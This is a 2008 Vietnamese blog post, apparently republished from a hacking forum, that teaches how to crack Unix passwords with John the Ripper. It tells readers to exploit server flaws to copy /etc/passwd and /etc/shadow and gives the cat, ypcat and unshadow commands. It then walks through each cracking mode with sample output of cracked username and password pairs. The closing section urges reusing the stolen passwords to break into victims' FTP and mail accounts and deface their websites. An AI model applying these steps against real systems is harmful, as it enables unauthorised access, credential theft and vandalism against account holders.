Friday, October 24, 2008

Hướng dẫn bẻ mật khẩu của Unix bằng John The Ripper

Hướng dẫn bẻ mật khẩu của Unix bằng John The Ripper
I. Lấy file passwd
Bạn có thể khai thác một lỗ hỏng bảo mật trên server, chẳng hạn như chỗ yếu cgi hoặc lỗi tràn bộ đệm, ... sau đó get file /etc/passwd & /etc/shadow
TH1: nếu passwd chưa bị shadow
cat /etc/passwd > password.txt
* nếu server đang chạy NFS, bạn phải dùng ypcat(yellow pages cat) & grep -s thay cho cat:
ypcat /etc/passwd | grep s > password.txt
TH2: nếu passwd đã bị shadow, bạn phải cat cả file /etc/passwd & /etc/shadow, sau đó unshadow cho passwd:
cat /etc/passwd
cat /etc/shadow
unshadow passwd shadow > password.txt

II. Crack file passwd
Trước khi crack file passwd, tôi muốn giới thiệu sơ lược cho bạn về format của file passwd. Đây là một file text chứa các thông tin về user trên server. Mỗi dòng trong file này có dạng như sau:
LWait:0m8Car45jNxHQ:1000:2000:John Doe:/home/litewait:/bin/csh
LWaitlogin name0m8Car45jNxHQencrypted passwd1000user id2000group idJohn Doereal name/home/litewaithome dir/bin/cshshell* encrypted passwd=="*" -> account này đã bị vô hiệu, đừng mất công để crack passwd của account này!
* encrypted passwd=="+" -> passwd đã bị shadow, bạn phải unshadow trước khi crack
Ok, bây giờ chúng ta sẽ crack file password.txt! Có 4 cách để crack passwd:
1. Single crack
- được dùng để crack các weak passwd
C:\john>john -single password.txt
Loaded 585 passwords with 128 different salts (Standard DES [24/32k])
thomas (mrice)
guesses: 1 time: 0:00:00:44 29% c/s: 86654 trying: bja$on - m4ry4nnr
guesses: 1 time: 0:00:06:27 100% c/s: 33653 trying: aamy1961 - bamy1969

( password.txt: file passwd cần crack)
JTR vừa crack được 1 passwd "thomas" của username "mrice"(passwd luôn đứng trước username). JTR cũng đang đoán các passwd từ bja$on -> m4ry4nnr. 1961, 1969? "Rất có thể có năm sinh của user trong passwd", JTR nghĩ vậy đó
2. Crack bằng wordlist (+ rules)
- JTR đã có sẵn file wordlist "password.lst"! Bạn không cần phải thêm vào những từ đại loại như "tEST", "Test", ... Chỉ cần một từ "test" trong file wordlist là đủ. Khi crack bằng wordlist có dùng thêm rules, JTR sẽ tự động dùng thêm "tEST", "Test", ..., "test123", ... để đoán passwd!
C:\john>john password.txt -wClick the image to open in full size.assword.lst -rules
Loaded 584 passwords with 128 different salts (Standard DES [24/32 4K])
julianne (thutchcr)
mizzou (slymer)
hal9000 (csalzman)
hammer (preardon)
scoobydo (sfuemmel)
mylord (gdessieu)
scoobydo (jreynold)
guesses: 7 time: 0:00:00:46 100% c/s: 100468 trying: owl - 0wl

(-w:)
JTR vừa đoán được 8 passwd!
* Cách đặt luật cho JTR: để đặt luật cho chế độ crack bằng wordlist, bạn hãy hiệu chỉnh phần "List.Rules:Wordlist" trong file cấu hình của JTR, "john.ini"
# Wordlist mode rules[List.Rules:Wordlist]
(tất cả các dòng bắt đầu bằng dấu # trong file john.ini được coi là các dòng chú thích)
Xem các ví dụ sau sẽ rõ về cách đặt luật cho JTR!
>4<7
chỉ chọn các từ có chiều dài >4 && <7>6 kí tự
>5<7lc
chỉ kiểm tra các từ dài 6 kí tự, sau đó viết thường(lowercase) & viết hoa kí tự đầu tiên(capital), aBcDeF -> Abcdef
l<9/ese3
lowercase và swap 'e' thành '3'; loại bỏ các từ không chứa 'e' hoặc dài hơn 8 kí tự, tesT -> t3st
>2<4/isi1
lowercase và swap 'i' thành '1'; loại bỏ các từ không chứa 'i' hoặc không dài đúng 3 kí tự
l<8/isi1^[0-9]
lowercase, swap 'i' thành '1' và thêm 0-9 vào đầu; loại bỏ các từ không chứa 'i' hoặc dài quá 7 kí tự, Vicki -> 0v1ck1, 1v1ck1, 2v1ck1, ..., 9v1ck1
'7/ese3/isi1$[0-9]
xén bớt các kí tự bên phải của các từ dài hơn 8 kí tự, swap 'e' thành 3 và 'i' thành '1', sau đó thêm 0-9 vào cuối; loại bỏ các từ không chứa 'i' & 'e', zhaowei-ww -> zhaow310, zhaow311, ..., zhaow319
>4<6t1^[0-9]^[0-9]
từ phải dài 5 kí tự, đổi kiểu chữ của kí tự thứ 2(ở vị trí 1), sau đó thêm 0-9, 0-9(hai số sau của năm sinh) vào đầu, vIcki -> 00vicki, 10vicki, ..., 99vicki
'7T0$[aeiou0-9]
xén bớt các kí tự bên phải của các từ dài hơn 8 kí tự, đổi kiểu chữ của kí tự thứ 1(ở vị trí 0), sau đó thêm các nguyên âm hoặc 0-9 vào sau, zhaowei1976 -> Zhaoweia, Zhaoweie, ... Zhaowei0, ..., Zhaowei9
i0[v]i3[k]
chèn 'v' vào vị trí 0 và 'k' vào vị trí 3, ici -> vicki
o4[123]
ghi đè lên kí tự thứ 5(ở vị trí 4) bằng '1', '2' hoặc '3', zhaowei -> zhao1ei, zhao2ei, zhao3ei
=0?d$7
bỏ qua các từ không bắt đầu bằng 1 digit, thêm 7 vào sau, 7vicki -> 7vicki7
@?w
xoá bỏ các kí tự trắng, zhao wei -> zhaowei
%2i
chỉ chọn các từ có 2 chữ 'i' trở lên, vicki -> vicki
Bạn có thể tìm thấy nhiều ví dụ khác trong file john.ini và tài liệu đi kèm của JTR. Nếu bạn muốn xem output của các luật mà bạn đã đặt, hãy nhập vào:
john -w:wordfile.dic -rules -stdout > output.file
3. Incremental crack
- chế độ này cho phép bạn đoán tất cả các khả năng của passwd. Bạn dùng tùy chọn -i: như sau:
john password.txt -i:all
thử hết mọi khả năng
john password.txt -i:alpha
passwd chỉ gồm các kí tự alpha(a-z)
john password.txt -iClick the image to open in full size.igits
passwd chỉ gồm các kí tự số(0-9)
Để cấu hình cho chế độ "Incremental", bạn hãy hiệu chỉnh phần "Incremental" trong file john.ini
[Incremental:All]
File = ~/all.chr
MinLen = 0
MaxLen = 8
CharCount = 95

[Incremental:Alpha]
File = ~/alpha.chr
MinLen = 1
MaxLen = 8
CharCount = 26

[IncrementalClick the image to open in full size.igits]
File = ~/digits.chr
MinLen = 1
MaxLen = 8
CharCount = 10

* Ngoài các tập kí tự mặc định all.chr, alpha.chr, digits.chr, ..., bạn có thể xây dựng cho mình một tập kí tự riêng để dùng trong chế độ crack "Incremental". Ở đây, tôi làm thử một ví dụ cho bạn thấy!
Đầu tiên, chúng ta cần backup file john.pot. File này chứa các passwd vừa bị crack!
copy john.pot john.bak
del john.pot

Giờ thì bạn mở Notepad, tạo file john.pot mới với nội dung như sau:
:betyouca
:ng351

Lưu ý, mỗi dòng trong file john.pot phải bắt đầu bằng một dấu ":", tiếp theo là các kí tự. Chiều dài tối đa của các kí tự trên một dòng(trừ dấu ":") là 8, tương ứng với maxlength của unix plaintext passwd!
Lưu file john.pot và chạy JTR:
C:\john>john -make:betyou.chr
Loaded 2 plaintexts
Generating cracking order... DONE
Successfully written charset file: betyou.chr (13 characters)

Chúng ta vừa tạo xong file tập kí tự có tên là betyour.chr. Bây giờ bạn hãy hiệu chỉnh file john.ini, đến phần "Incremental" và thêm vào các dòng sau:
[Incremental:betyou]
File = ~/betyou.chr
MinLen = 3
MaxLen = 7
CharCount = 13

File=~/betyou.chr(file tập kí tự, ~/ == home dir)
MinLen=3 & MaxLen=7 -> JTR chỉ đoán các passwd có chiều dài từ 3->7 kí tự
CharCount=13 -> số kí tự có trong tập kí tự này, đây là số mà thấy khi tạo file betyou.chr ở trước. Nếu bạn gán CharCount=100, JTR sẽ báo lỗi "chỉ có thể load được x kí tự". Hãy thay thế 100 bằng x
Đến đây, chúng ta có thể sử dụng tập kí tự mới để crack passwd. Bạn hãy nhập vào:
john password.txt -i:betyou
4. External crack
JTR còn cho phép bạn lập trình để crack passwd. Cú pháp lệnh y chang như của C vậy. Bạn hãy xem ví dụ sau, nó có nhiệm vụ lọc các từ có chứa kí tự alpha(a-z).
[List.External:Filter_Alpha]
void filter()
{
int i, c;

i = 0;
while (c = word[i++])
if (c < 'a' || c > 'z') {
word = 0; return;
}
}

Chi tiết về chế độ crack này, bạn xem thêm trong tài liệu hướng dẫn đi kèm của JTR!
Tôi muốn nói thêm với các bạn một số vấn đề khác có liên quan khi crack passwd bằng JTR!
- nếu bạn chỉ muốn crack các user hoặc group cụ thể nào đó, hãy dùng tùy chọn -user hoặc -group(xem ví dụ sau)
john password.txt -user:LWait
chỉ crack passwd của user "LWait"
john password.txt -group:123 -i:custom
chỉ crack passwd của các user trong group có ID là 123
- crack passwd là một công việc tốn khá nhiều thời gian, có khi phải lên đến mấy ngày trời mới crack được vài passwd. Để tạm dừng tiến trình crack hiện tại, bạn hãy ấn Ctrl-C. Khi nào rãnh, bạn có thể restore lại tiến trình bằng cách gõ vào:
john -restore
- nếu bạn muốn crack nhiều file passwd cùng một lúc, bạn có thể sử dụng tùy chọn -session để làm việc đa phiên:
john session:zebpasses
Để restore lại session zebpasses, hãy nhập vào:
john -restore:zebpasses
Nếu bạn cần xem tiến độ crack của session này, hãy nhập vào:
john -status:zebpasses
Hoặc nếu bạn muốn biết JTR đã crack được bao nhiêu passwd trong file password.txt, hãy nhập vào:
john -show password.txt
- trong khi crack, bạn có thể bấm phím space để xem tiến độ crack. Nếu bạn thích JTR kêu bíp một cái khi vừa crack xong một passwd, hãy hiểu chỉnh phần "Options" trong file john.ini như sau:
[Options]
...
Beep = Y
...

- Bạn có muốn tăng tốc cho tiến trình crack không? Đừng nên mở nhiều chương trình khác khi đang chạy JTR. Nếu bạn đang chạy JTR trên Windows, hãy thay thế file john.exe bằng file mới trong file john-mmx.zip nếu chip CPU của bạn là Pentium hoặc trong file john-k6.zip nếu bạn đang dùng chip của AMD. Nếu bạn đang xài Linux, hãy tận dụng ngay sức mạnh của Linux. JTR phá passwd khá nhanh trên Linux

III. Sử dụng các passwd đã bị crack
Nhiều người thường sử dụng y chang một passwd để login telnet, ftp hay pop3(mail). Vì vậy, bạn có thể thử passwd này để login vào ftp account của họ, thay đổi trang web của họ hay để lại vài lời nhắn trong mailbox của họ!

(theo hackerviet.org)

Click thanks nhé!

ref: http://thegioiit.chipvn.org/showthread.php?t=267

No comments: